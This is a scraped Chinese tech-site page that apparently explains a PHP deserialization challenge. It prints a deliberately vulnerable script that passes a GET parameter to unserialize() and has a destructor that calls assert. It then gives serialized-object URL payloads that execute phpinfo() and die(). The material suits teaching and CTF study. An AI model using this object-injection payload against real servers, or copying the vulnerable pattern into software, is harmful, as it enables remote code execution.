客服电话
APP下载
迪恩网络APP
随时随地掌握行业动态
官方微信
扫描二维码
关注迪恩网络微信公众号
<?php // +---------------------------------------------------------------------- // | Copyright (c) 2006-2012 KingBin All rights reserved. // +---------------------------------------------------------------------- // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 ) // +---------------------------------------------------------------------- // | Author: KingBin [email protected] // +---------------------------------------------------------------------- error_reporting(0); class test { public $fn=array('a','s','s','e','r','t'); public $str; function __destruct() { $r = join(null,$this->fn); return $r($this->str); } } if($_GET['url']) unserialize($_GET['url']) && die(); show_source(__FILE__); ?> 所以 只要我们提交一个
$o=new test; $o->str='phpinfo()'; 那么是不是就会起到执行phpinfo呢？ 所以转换一下 xx.php?url=O:4:"test":1:{s:3:"str";s:9:"phpinfo()";} 就会执行了 这个类~~~~ 如
?url=O:4:%22test%22:2:{s:2:%22fn%22;a:6:{i:0;s:1:%22a%22;i:1;s:1:%22s%22;i:2;s:1:%22s%22;i:3;s:1:%22e%22;i:4;s:1:%22r%22;i:5;s:1:%22t%22;}s:3:%22str%22;s:18:%22die('heelo%20world')%22;}
|
2022-08-15
2022-08-17
2022-11-06
2022-08-17
2022-07-18
bradtraversy/iweather: Ionic 3 mobile weather app
joaomh/curso-de-matlab
魔兽世界怀旧服已经开启两个多月了，但作为一个猎人玩家，抓到“断牙”，已经成为了一
第七节：在多个线程时空中，把各自的代码塞到一个指定的线程时空运行 以Ado为例，
rugk/mastodon-simplified-federation: Simplifies following and interacting with r
GtkRadiant v1.6.6 was discovered to contain a buffer overflow via the component
softmmu/physmem.c in QEMU through 7.0.0 can perform an uninitialized read on the
Tangshitao/Dense-Scene-Matching: Learning Camera Localization via Dense Scene Ma
r0adkll/Slidr: Easily add slide to dismiss functionality to an Activity
相信不少果粉在对自己的设备进行某些操作时，都会碰到Respring，但这个 Respring 到底
请发表评论